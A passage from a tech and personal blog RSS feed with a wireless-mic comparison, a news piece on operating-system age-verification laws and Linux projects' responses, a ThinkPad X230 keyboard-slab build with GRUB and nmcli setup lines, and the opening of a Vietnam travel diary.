<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1162"><b class="ng-star-inserted" data-start-index="1162">Mute Functionality:</b><span class="ng-star-inserted" data-start-index="1181"> A double-tap on the transmitter allows you to mute individual microphones instantly</span><span class="ng-star-inserted" data-start-index="1265">.</span></li>
</ul>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="1266"><b class="ng-star-inserted" data-start-index="1266">Cons:</b></div>
<ul class="ng-star-inserted">
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1271"><b class="ng-star-inserted" data-start-index="1271">Basic Accessories:</b><span class="ng-star-inserted" data-start-index="1289"> Unlike the M2, it does not come with extra mounting accessories</span><span class="ng-star-inserted" data-start-index="1371">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1372"><b class="ng-star-inserted" data-start-index="1372">Windscreen Issues:</b><span class="ng-star-inserted" data-start-index="1390"> The windscreen can easily fall off if it rubs against clothing as it lacks a locking mechanism</span><span class="ng-star-inserted" data-start-index="1485">.</span></li>
</ul>
<h3 class="paragraph is-rich-chat-ui heading3 ng-star-inserted" role="heading" data-start-index="1486" aria-level="3"><b class="ng-star-inserted" data-start-index="1486"><a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener">The Lark M2</a>: The Professional’s Reliable Choice</b></h3>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="1533"><span class="ng-star-inserted" data-start-index="1533">The Lark M2 has established itself as a durable, &#8220;richer&#8221; sounding microphone that offers more stability for professional vlogging</span><span class="ng-star-inserted" data-start-index="1663">.</span></div>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="1664"><b class="ng-star-inserted" data-start-index="1664">Pros:</b></div>
<ul class="ng-star-inserted">
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1669"><b class="ng-star-inserted" data-start-index="1669">Superior Range:</b><span class="ng-star-inserted" data-start-index="1684"> Offers an impressive line-of-sight range of up to </span><b class="ng-star-inserted" data-start-index="1735">1,000 feet (304.8m)</b><span class="ng-star-inserted" data-start-index="1754">, compared to the A1’s 656.2 feet (200m)</span><span class="ng-star-inserted" data-start-index="1794">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1795"><b class="ng-star-inserted" data-start-index="1795">Audio Quality:</b><span class="ng-star-inserted" data-start-index="1809"> Users note that the M2 provides a </span><b class="ng-star-inserted" data-start-index="1844">richer sound</b><span class="ng-star-inserted" data-start-index="1856"> profile compared to the A1</span><span class="ng-star-inserted" data-start-index="1883">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1884"><b class="ng-star-inserted" data-start-index="1884">Accessory Kit:</b><span class="ng-star-inserted" data-start-index="1898"> Includes magnets and more robust mounting options out of the box</span><span class="ng-star-inserted" data-start-index="1963">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1964"><b class="ng-star-inserted" data-start-index="1964">Fast Connection:</b><span class="ng-star-inserted" data-start-index="1980"> The receiver pairs and starts up faster when plugged into devices like action cams</span><span class="ng-star-inserted" data-start-index="2063">.</span></li>
</ul>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="2064"><b class="ng-star-inserted" data-start-index="2064">Cons:</b></div>
<ul class="ng-star-inserted">
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="2069"><b class="ng-star-inserted" data-start-index="2069">Lacks Auto-Off:</b><span class="ng-star-inserted" data-start-index="2084"> Does not have the 15-minute auto-power-off feature found in the A1</span><span class="ng-star-inserted" data-start-index="2151">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="2152"><b class="ng-star-inserted" data-start-index="2152">Higher Price:</b><span class="ng-star-inserted" data-start-index="2165"> It is roughly double the cost of the A1</span><span class="ng-star-inserted" data-start-index="2205">.</span></li>
</ul>
<h3><b class="ng-star-inserted" data-start-index="2206">Side-by-Side Comparison</b></h3>
<table class="is-rich-chat-ui ng-star-inserted" data-start-index="2229">
<tbody>
<tr class="ng-star-inserted">
<th class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2229"><span class="ng-star-inserted" data-start-index="2229">Feature</span></div>
</th>
<th class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2236"><a href="https://amzn.to/4aPIs3g" data-wpel-link="external" target="_blank" rel="follow external noopener"><span class="ng-star-inserted" data-start-index="2236">Hollyland Lark A1</span></a></div>
</th>
<th class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2253"><a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener"><span class="ng-star-inserted" data-start-index="2253">Hollyland Lark M2</span></a></div>
</th>
</tr>
<tr class="ng-star-inserted">
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2270"><b class="ng-star-inserted" data-start-index="2270">Weight (Transmitter)</b></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2290"><span class="ng-star-inserted" data-start-index="2290">0.3 oz / 8 g</span></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2302"><span class="ng-star-inserted" data-start-index="2302">0.3 oz / 9 g</span></div>
</td>
</tr>
<tr class="ng-star-inserted">
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2314"><b class="ng-star-inserted" data-start-index="2314">Max Operating Range</b></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2333"><span class="ng-star-inserted" data-start-index="2333">656.2&#8242; / 200 m</span></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2347"><span class="ng-star-inserted" data-start-index="2347">1000&#8242; / 304.8 m</span></div>
</td>
</tr>
<tr class="ng-star-inserted">
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2362"><b class="ng-star-inserted" data-start-index="2362">Battery Life (TX)</b></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2379"><span class="ng-star-inserted" data-start-index="2379">9 Hours</span></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2386"><span class="ng-star-inserted" data-start-index="2386">40 Hours</span></div>
</td>
</tr>
<tr class="ng-star-inserted">
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2394"><b class="ng-star-inserted" data-start-index="2394">App Features</b></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2406"><span class="ng-star-inserted" data-start-index="2406">EQ, Reverb, Auto-Off</span></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2426"><span class="ng-star-inserted" data-start-index="2426">Gain and Noise Cancellation</span></div>
</td>
</tr>
<tr class="ng-star-inserted">
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2453"><b class="ng-star-inserted" data-start-index="2453">Price (approx.)</b></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2468"><span class="ng-star-inserted" data-start-index="2468">~$40 &#8211; 59</span></div>
</td>
<td class="ng-star-inserted">
<div class="paragraph is-rich-chat-ui table-paragraph normal ng-star-inserted" data-start-index="2475"><span class="ng-star-inserted" data-start-index="2475">~$100 &#8211; 150</span></div>
</td>
</tr>
</tbody>
</table>
<h3><b class="ng-star-inserted" data-start-index="2482">Who Should Choose Which Mic?</b></h3>
<ul class="ng-star-inserted">
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="2510"><b class="ng-star-inserted" data-start-index="2510">For Mobile-Only Creators:</b><span class="ng-star-inserted" data-start-index="2535"> The </span><a href="https://amzn.to/4aPIs3g" data-wpel-link="external" target="_blank" rel="follow external noopener"><b class="ng-star-inserted" data-start-index="2540">Lark A1</b></a><span class="ng-star-inserted" data-start-index="2547"> is the best fit. Its pill-shaped design, light weight, and mobile-specific app features (like Reverb for &#8220;bathroom singers&#8221;) make it perfect for TikTok, Reels, and casual vlogging</span><span class="ng-star-inserted" data-start-index="2727">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="2728"><b class="ng-star-inserted" data-start-index="2728">For Action &amp; Long-Range Vlogging:</b><span class="ng-star-inserted" data-start-index="2761"> The </span><a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener"><b class="ng-star-inserted" data-start-index="2766">Lark M2</b></a><span class="ng-star-inserted" data-start-index="2773"> is preferred if you need to record subjects at a distance or need a faster, more reliable connection for action cameras like the DJI Action series</span><span class="ng-star-inserted" data-start-index="2920">.</span></li>
</ul>
<h3 class="paragraph is-rich-chat-ui heading3 ng-star-inserted" role="heading" data-start-index="2921" aria-level="3"><b class="ng-star-inserted" data-start-index="2921">Final Verdict</b></h3>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="2934"><b class="ng-star-inserted" data-start-index="2934">If your need is</b><span class="ng-star-inserted" data-start-index="2949"> an affordable, feature-packed entry-point into content creation with advanced app controls like EQ and reverb, </span><b class="ng-star-inserted" data-start-index="3061">choose the <a href="https://amzn.to/4aPIs3g" data-wpel-link="external" target="_blank" rel="follow external noopener">Hollyland Lark A1.</a></b></div>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="3090"><b class="ng-star-inserted" data-start-index="3090">Else, if you need</b><span class="ng-star-inserted" data-start-index="3107"> richer audio quality, a more robust accessory kit, and significantly longer range for professional vlogs, </span><b class="ng-star-inserted" data-start-index="3214">choose the<a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener"> Hollyland Lark M2.</a></b></div>
<p>The post <a href="https://ibcomputing.com/hollyland-lark-a1-vs-lark-m2-the-ultimate-compact-mic-comparison/" data-wpel-link="internal">Hollyland Lark A1 vs. Lark M2: The Ultimate Compact Mic Comparison</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>Gadgets</category>
            <category>Review</category>
            <category>comparison</category>
            <category>Gadgets review</category>
            <category>Lark M2</category>
            <category>review</category>
        </item>
        <item>
            <title><![CDATA[Agentic and AI Assisted Coding]]></title>
            <link>https://www.prashanthudupa.com/agentic-and-ai-assisted-coding/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/agentic-and-ai-assisted-coding/</guid>
            <pubDate>Mon, 30 Mar 2026 15:46:19 GMT</pubDate>
            <description><![CDATA[For as long as I remember, coding has always been an activity that brings an idea that only exists in imagination to reality. As such no imagination exists in isolation – they are all dependent on one or more things...]]></description>
            <content:encoded><![CDATA[For as long as I remember, coding has always been an activity that brings an idea that only exists in imagination to reality. As such no imagination exists in isolation &#8211; they are all dependent on one or more things...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Technical</category>
        </item>
        <item>
            <title><![CDATA[Age Verification Laws: Is This the End of Privacy for Linux and Beyond?]]></title>
            <link>https://ibcomputing.com/age-verification/</link>
            <guid isPermaLink="false">https://ibcomputing.com/age-verification/</guid>
            <pubDate>Wed, 25 Mar 2026 15:52:03 GMT</pubDate>
            <description><![CDATA[The digital landscape is currently undergoing a massive shift as new legislation worldwide begins to target the foundation of our computing experience: the operating system. … 
The post Age Verification Laws: Is This the End of Privacy for Linux and Beyond? appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>The digital landscape is currently undergoing a massive shift as new legislation worldwide begins to target the foundation of our computing experience: the operating system. Driven by a desire to protect minors online, these laws mandate that operating system (OS) providers verify the age of their users, a move that has sparked intense debate over privacy, security, and the future of open-source software.</p>
<h3><strong>The New Rules: Names and Numbers</strong></h3>
<p>Several key pieces of legislation are leading this global trend:</p>
<ul>
<li><strong>Brazil:</strong> The <strong>Digital Statute for Children and Adolescents (Law No. 15,211/2025)</strong> is one of the most advanced child-protection frameworks globally.</li>
<li><strong>California:</strong> The <strong>Digital Age Assurance Act (Assembly Bill No. 1043)</strong> requires OS providers to provide an age signal to applications.</li>
<li><strong>New York:</strong> The proposed <strong>Senate Bill S8102A</strong> is even more stringent, explicitly forbidding simple self-reporting of age.</li>
<li><strong>Colorado:</strong> <strong>Senate Bill 26-051</strong> closely mirrors California&#8217;s approach, requiring OS-level age bracket reporting.</li>
</ul>
<h3><strong>When Must Systems Comply?</strong></h3>
<p>The clock is already ticking for developers and manufacturers:</p>
<ul>
<li><strong>Brazil:</strong> The decrees regulating the law entered into force on <strong>March 17, 2026</strong>.</li>
<li><strong>California:</strong> The act becomes fully operative on <strong>January 1, 2027</strong>.</li>
<li><strong>Colorado:</strong> This legislation is scheduled to take effect on <strong>January 1, 2028</strong>.</li>
</ul>
<h3><strong>The High Price of Non-Compliance</strong></h3>
<p>The penalties for failing to implement these systems are substantial. In <strong>Brazil</strong>, companies can face fines of approximately <strong>$9.5 million (R$50 million) per violation</strong>, where each individual user who is not presented with the required verification counts as a separate failure. <strong>California</strong> imposes civil penalties of <strong>$2,500</strong> for negligent violations and <strong>$7,500</strong> for intentional ones <em>per affected child</em>. <strong>New York’s</strong> proposed bill suggests even higher penalties of <strong>$10,000 per violation</strong>.</p>
<h3><strong>How Verification Works Technically</strong></h3>
<p>Under these laws, the <strong>OS provider</strong>—the entity that develops or controls the software—is responsible for the verification process.</p>
<ol>
<li><strong>Interface:</strong> The OS must provide an interface during account setup for the &#8220;account holder&#8221; (an adult or guardian) to indicate the user&#8217;s age or birth date.</li>
<li><strong>Digital Signal:</strong> The OS then generates a digital signal via a secure API.</li>
<li><strong>Age Brackets:</strong> This signal informs apps which of four brackets the user falls into: <strong>under 13, 13–16, 16–18, or 18+</strong>.</li>
</ol>
<h3><strong>The Privacy Debate: Protection or Surveillance?</strong></h3>
<p>The most significant criticism of these laws centers on <strong>privacy</strong>. Critics, including over 400 computer scientists, argue that these mandates create a massive <strong>surveillance infrastructure</strong>. Collecting birth dates—which are <strong>Personally Identifiable Information (PII)</strong>—creates a centralized database of children, making them prime targets for data breaches. Furthermore, the U.S. Federal Trade Commission (FTC) has suggested it might ignore certain privacy violations (COPPA) to &#8220;incentivize&#8221; the use of these age-verification tools, a move critics say effectively encourages the creation of child databases.</p>
<h3><strong>The View from System76</strong></h3>
<p>Carl Richell, CEO of Linux hardware manufacturer <strong>System76</strong>, has been a vocal critic. He argues that these laws are <strong>ineffective</strong> because children are tech-savvy and will easily find workarounds, such as using virtual machines or VPNs to bypass restrictions. Richell also worries that these laws <strong>limit a child&#8217;s ability to explore</strong> technology, noting that many of the world&#8217;s best programmers started by experimenting with operating systems as children. He advocates for education about &#8220;digital abundance&#8221; rather than &#8220;nerfing&#8221; the internet through failed legislative restrictions.</p>
<h3><strong>Linux and the FOSS Response</strong></h3>
<p>The decentralized nature of Linux makes compliance particularly difficult.</p>
<ul>
<li><strong>systemd:</strong> The project recently merged a <code>birthDate</code> field into its JSON user records to serve as a data source for age signals, though this move was met with significant community pushback.</li>
<li><strong>Ageless Linux:</strong> This project offers a script to <strong>explicitly refuse age collection</strong>. They argue that if no age data is collected, no one can be identified as a &#8220;child,&#8221; meaning there is no &#8220;affected user&#8221; to trigger a fine—essentially a &#8220;logic puzzle&#8221; loophole.</li>
<li><strong>GrapheneOS:</strong> The privacy-focused Android fork has <strong>outright refused to comply</strong>, stating it will never require personal information or accounts. They have expressed a willingness to be banned from certain regions rather than compromise their principles.</li>
<li><strong>MidnightBSD:</strong> This project updated its distribution terms to <strong>ban users</strong> in regions with these laws, stating their software will not include age checks.</li>
</ul>
<h3><strong>Mainstream Readiness</strong></h3>
<p>In contrast to the struggle within the Linux community, mainstream providers like <strong>Apple, Google, and Microsoft</strong> are expected to comply with almost no additional cost. These companies already maintain centralized account systems with existing parental controls and age-gating infrastructure.</p>
<h3><strong>Conclusion</strong></h3>
<p>While these laws are born from a genuine desire to protect children, they represent a fundamental shift in how we interact with our devices. For many, the choice may soon be between a &#8220;compliant&#8221; system that tracks personal data and a &#8220;nerfed&#8221; internet experience that prioritizes anonymity. As these deadlines approach, the tension between digital safety and individual liberty has never been higher.</p>
<p>The post <a href="https://ibcomputing.com/age-verification/" data-wpel-link="internal">Age Verification Laws: Is This the End of Privacy for Linux and Beyond?</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>GNU/Linux</category>
            <category>News</category>
            <category>systemd</category>
        </item>
        <item>
            <title><![CDATA[Turning my Thinkpad X230 into a overpowered keyboardSlab]]></title>
            <link>https://aryak.me/blog/09-x230-slab.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/09-x230-slab.html</guid>
            <pubDate>Mon, 23 Mar 2026 12:39:45 GMT</pubDate>
            <description><![CDATA[I removed the screen from my laptop—and it’s now more useful than
before.
Anyways, I recently got my hands on a used thinkpad X230 for around
60$.
The machine is great, the keyboard even better, but the TN panel is
genuinely unusable.
For a while, I used it like a laptop as intended, but I can only do
so much with a TN Panel whose max brightness is my Pixel’s 10%
brightness.
Instead, I decided to cut my losses and just remove the display
altogether, and use the thinkpad as a keyboard with my monitor.
The Hardware
Doing this was pretty simple, I just had to open up the back of the
laptop, remove the hinge screws, and then slowly disconnect all the
wires before removing the display assembly.
Additionally, I changed the Wi-Fi card to an atheros one for good
measure. (God bless Libreboot)
Main issue with this, was that the Thinklight is literally impossible
to remove from the casing, so I kinda had to snap that wire out.
I also removed the two wifi antennae that are glued to the display
casing, and kept it outside so wifi continues to work properly.
I kept the webcam too, removed from the case and double tape’d to my
monitor - since somehow this ancient laptop seems to have a better
camera than my modern laptop.
After doing all this, and very-safely electrical taping all the extra
wires if i ever decide to put a new display on this, I got a think-slab
:D
After shot of my setup

However, I had to add a few cmdline arguments on grub to make it
work.
/etc/default/grub:

GRUB_CMDLINE_LINUX_DEFAULT="quiet iomem=relaxed i915.modeset=1 video=LVDS-1:d video=VDA-1:e"

The first 3 are common grub parameters that you always have, while
the last 2 are the special ones you need to add the :d parameter
disables LVDS-1 (internal display), and the :e parameter enables VDA-1
(in my case, the external display)
An update-grub later, everything magically started
appearing on my monitor!
The software
This worked great for research and other random stuff I did, but a
laptop from 2012 can only do so much in terms of computing.
To remedy this, I decided to just use the thinkpad keyboard with my
modern laptop using software KVM. Since my monitor has both VGA and
HDMI, I was able to connect my modern laptop to the HDMI port, and the
thinkpad to VGA.
Though I was just planning on using barrier like I did year’s ago, I
decided to go with Lan-Mouse this
time.
It is a rust-based application similar to synergy and barrier, but
with a proper gtk UI and supposedly better performance.
Now, since I have a wireless card that’s older than me on the
thinkpad, I had to do some ethernet magic for lan mouse if I wanted any
sort of real performance. Software KVM is a high-bandwidth task after
all.
So I connected an ethernet cable between the two laptops, and set it
up as follows
# On Modern laptop
nmcli con add type ethernet ifname enp2s0 ip4 192.168.50.1/24
# On Thinkpad
nmcli con add type ethernet ifname eno0 ip4 192.168.50.2/24

And magically, I have a Gigabit connection between the two laptops
for Lan-Mouse to work through. Lan mouse is pretty intuitive to setup,
so im not covering it here.
In conclusion, this one day’s work turned out pretty well for me. I
now have a speedy “slabtop” for any research or minor work that I have,
and it doesn’t even take 5 minutes for this setup to convert into a
high-performance workstation either.
I’m still using the X230 without lan-mouse for home usage, when I’m
too lazy to get my laptop out of my bag, but this setup really helps me
when I need to get some real programming work done, which is 10x harder
without such a comfy keyboard like that of the X230.]]></description>
            <content:encoded><![CDATA[
<p>I removed the screen from my laptop—and it’s now more useful than
before.</p>
<p>Anyways, I recently got my hands on a used thinkpad X230 for around
60$.</p>
<p>The machine is great, the keyboard even better, but the TN panel is
genuinely unusable.</p>
<p>For a while, I used it like a laptop as intended, but I can only do
so much with a TN Panel whose max brightness is my Pixel’s 10%
brightness.</p>
<p>Instead, I decided to cut my losses and just remove the display
altogether, and use the thinkpad as a keyboard with my monitor.</p>
<h2 id="the-hardware">The Hardware</h2>
<p>Doing this was pretty simple, I just had to open up the back of the
laptop, remove the hinge screws, and then slowly disconnect all the
wires before removing the display assembly.</p>
<p>Additionally, I changed the Wi-Fi card to an atheros one for good
measure. (God bless Libreboot)</p>
<p>Main issue with this, was that the Thinklight is literally impossible
to remove from the casing, so I kinda had to snap that wire out.</p>
<p>I also removed the two wifi antennae that are glued to the display
casing, and kept it outside so wifi continues to work properly.</p>
<p>I kept the webcam too, removed from the case and double tape’d to my
monitor - since somehow this ancient laptop seems to have a better
camera than my modern laptop.</p>
<p>After doing all this, and very-safely electrical taping all the extra
wires if i ever decide to put a new display on this, I got a think-slab
:D</p>
<figure>
<img src="https://aryak.me/static/blog/photo_2026-02-13_23-53-23.jpg"
alt="After shot of my setup" />
<figcaption aria-hidden="true">After shot of my setup</figcaption>
</figure>
<p>However, I had to add a few cmdline arguments on grub to make it
work.</p>
<div class="sourceCode" id="cb1"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">/etc/default/grub:</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="va">GRUB_CMDLINE_LINUX_DEFAULT</span><span class="op">=</span><span class="st">&quot;quiet iomem=relaxed i915.modeset=1 video=LVDS-1:d video=VDA-1:e&quot;</span></span></code></pre></div>
<p>The first 3 are common grub parameters that you always have, while
the last 2 are the special ones you need to add the :d parameter
disables LVDS-1 (internal display), and the :e parameter enables VDA-1
(in my case, the external display)</p>
<p>An <code>update-grub</code> later, everything magically started
appearing on my monitor!</p>
<h2 id="the-software">The software</h2>
<p>This worked great for research and other random stuff I did, but a
laptop from 2012 can only do so much in terms of computing.</p>
<p>To remedy this, I decided to just use the thinkpad keyboard with my
modern laptop using software KVM. Since my monitor has both VGA and
HDMI, I was able to connect my modern laptop to the HDMI port, and the
thinkpad to VGA.</p>
<p>Though I was just planning on using barrier like I did year’s ago, I
decided to go with <a
href="https://github.com/feschber/lan-mouse">Lan-Mouse</a> this
time.</p>
<p>It is a rust-based application similar to synergy and barrier, but
with a proper gtk UI and supposedly better performance.</p>
<p>Now, since I have a wireless card that’s older than me on the
thinkpad, I had to do some ethernet magic for lan mouse if I wanted any
sort of real performance. Software KVM is a high-bandwidth task after
all.</p>
<p>So I connected an ethernet cable between the two laptops, and set it
up as follows</p>
<div class="sourceCode" id="cb2"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="co"># On Modern laptop</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">nmcli</span> con add type ethernet ifname enp2s0 ip4 192.168.50.1/24</span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="co"># On Thinkpad</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="ex">nmcli</span> con add type ethernet ifname eno0 ip4 192.168.50.2/24</span></code></pre></div>
<p>And magically, I have a Gigabit connection between the two laptops
for Lan-Mouse to work through. Lan mouse is pretty intuitive to setup,
so im not covering it here.</p>
<p>In conclusion, this one day’s work turned out pretty well for me. I
now have a speedy “slabtop” for any research or minor work that I have,
and it doesn’t even take 5 minutes for this setup to convert into a
high-performance workstation either.</p>
<p>I’m still using the X230 without lan-mouse for home usage, when I’m
too lazy to get my laptop out of my bag, but this setup really helps me
when I need to get some real programming work done, which is 10x harder
without such a comfy keyboard like that of the X230.</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2026/03/23/1</category>
        </item>
        <item>
            <title><![CDATA[Vietnam Trip]]></title>
            <link>https://ravidwivedi.in/posts/vietnam-trip/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/vietnam-trip/</guid>
            <pubDate>Sat, 21 Mar 2026 19:30:37 GMT</pubDate>
            <description><![CDATA[Before reaching Vietnam
Continuing from the last post, Badri and I took a flight from the Brunei International Airport to Kuala Lumpur on the 12th of December 2024. We reached Kuala Lumpur in the evening.
After arriving at the airport, we went through immigration. In a previous post, I mentioned that we had put our stuff in lockers at the TBS bus terminal in Kuala Lumpur. Therefore, we had to go there.
The locker was automated and required us to enter the PIN we had set. Upon entering the PIN, the locker wasn’t getting unlocked. After trying this for 10-15 minutes without any luck, we tried getting some help as there the lockers weren’t under supervision.
So, I roamed around and found a staff member, reporting that our lockers weren’t getting unlocked. They called the person who was in-charge of the lockers. He came to us in a few minutes and used their admin access to open the locker. We were supposed to pay for using the lockers by putting the banknotes inside through a slot. However, as the machine wasn’t working, we gave the amount for the use of our locker service to that person instead.
We soon went back to the KL airport to catch our morning flight to Ho Chi Minh City in Vietnam. At the flight counter, we were afraid we would have to pay extra as our luggage surpassed the allowed weight limit. This one was also a budget airline—AirAsia—and our tickets didn’t include a check-in bag.
Generally, passengers from countries requiring a visa to visit Vietnam (such as India) require going to the airline and showing their visa to get the boarding pass. However, when we went to the AirAsia counter at the Kuala Lumpur airport, they didn’t weigh our bags and asked us to get our boarding passes from an automated kiosk. So, we got our boarding passes printed and proceeded to the airport security.
While clearing the airport security, a lotion I bought from Singapore was confiscated because it was 200 mL, exceeding the limit of 100 mL per bottle. Had that 200 mL liquid been in two different bottles of 100 mL each, I would have been allowed to take it in my carry-on bag, but a single 200 mL bottle wasn’t! I was allowed to keep it in the check-in bag, but I didn’t have it included in my ticket. Huh, airports and their weird rules :( The lotion was an expensive one, so having it thrown away did ruin my mood.
Overview
We started our Vietnam trip from Ho Chi Minh City in the south on the 13th of December 2024 and finished it in Hanoi in the north on the 20th of December. We traveled from Ho Chi Minh City to Hanoi mostly by train, except for a hundred or so kilometers by bus, in chunks. On the way, we visited Nha Trang, Hoi An, and Hue. The distance between Ho Chi Minh City and Hanoi is 1700 km.
For your reference, here are those places labeled on Vietnam’s map.

      
A map of Vietnam with points of places we went to labeled. ©CARTO ©MAPTILER ©OPENSTREETMAP
Ho Chi Minh City
We landed in Ho Chi Minh City early morning on the 13th of December 2024. I was tired and sleepy as I hadn’t gotten a good night’s sleep. After going through immigration, we went to a currency exchange counter to get Vietnamese Dong. Unlike other countries on this trip, money exchange counters in Vietnam didn’t accept Indian rupees. Therefore, we exchanged euros to get Vietnamese dong at the airport.
After getting out of the airport, we took a bus to the city center. It was 15,000 dongs—approximately 50 Indian rupees. Our plan was to meet Badri’s friend and stay the night at his apartment.
So we went to a café nearby and bought a coffee for each of us for 75,000 dongs. We went upstairs and sat for a while. The Wi-Fi password was mentioned on our bill. During the trip, I found out about the café culture of Vietnam. They have their own coffee brands (such as Highlands Coffee), and you can sit down at any of the cafés for work or wait for the rain to stop. It rained a lot while we were there, so we did use these cafés for that purpose.
Badri’s friend met us there, and we roamed around the area a bit, which included roaming inside a beautiful park. Then Badri’s friend took us to a restaurant. Because I do not eat meat, he took us to a vegan restaurant. Having been to four Southeast Asian countries at this point (excluding Vietnam), I was under the impression that there wouldn’t be a lot of things for my diet in Vietnam.

      
A picture of the park we roamed around in Ho Chi Minh City. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
However, I was pleasantly surprised at the restaurant. I found all the dishes to be tasty, especially their signature noodles called Pho. I liked another dish so much that I tracked down the restaurant again with Badri using the geotagged image of the bill I had taken earler to have it again. As a tip for vegans coming to Vietnam, the places having the letters “Chay” (without any accented letters) in their name are vegan only.

      
This is the restaurant Badri’s friend took us to. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
One of the dishes we had in the restaurant. This one was especially tasty. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
One of the dishes we had in the restaurant. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

      
These noodles are called Pho and are very popular in Vietnam. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.
In the night, we went to a supermarket where I got myself some oranges and guavas. Then, we went to a Japanese restaurant where I didn’t have anything, as there was no vegetarian option available for me. Then we took a free bus to the place to Badri’s friend’s apartment. The construction company that built the apartment also runs this free bus service from their residential area to different parts of the city as a way of promoting their apartments. Anyone can take the bus, not just residents.
The next day, we took the free bus back to the city center and checked in to a hostel for a night. We took two beds in dormitories, which were 88,000 dongs (270 rupees) for each bed for a night. In Vietnam, if you can spend around 300 rupees per night, you can get a bed in a decent hostel.
Train from Ho Chi Minh City to Nha Trang
On the night of the 15th of December 2024, we boarded a train from Ho Chi Minh City to Nha Trang. The ticket for each of us was 519,000 dongs (1600 Indian rupees). The train name was SNT2. When we reached the Ho Chi Minh City train station, we noticed that the station was rather small by Indian standards.
After entering the train station, we went inside to the first platform, where the tickets were checked by a staff member. Ho Chi Minh City was the originating station for our train, so our train was already standing at the station. We had to cross the railway tracks on foot to reach the platform our train was on. Then we located our coach, where a ticket inspector was standing at the gate. He let us in after checking our tickets. In all these instances, we just had to show our digital boarding pass which we had received by email.
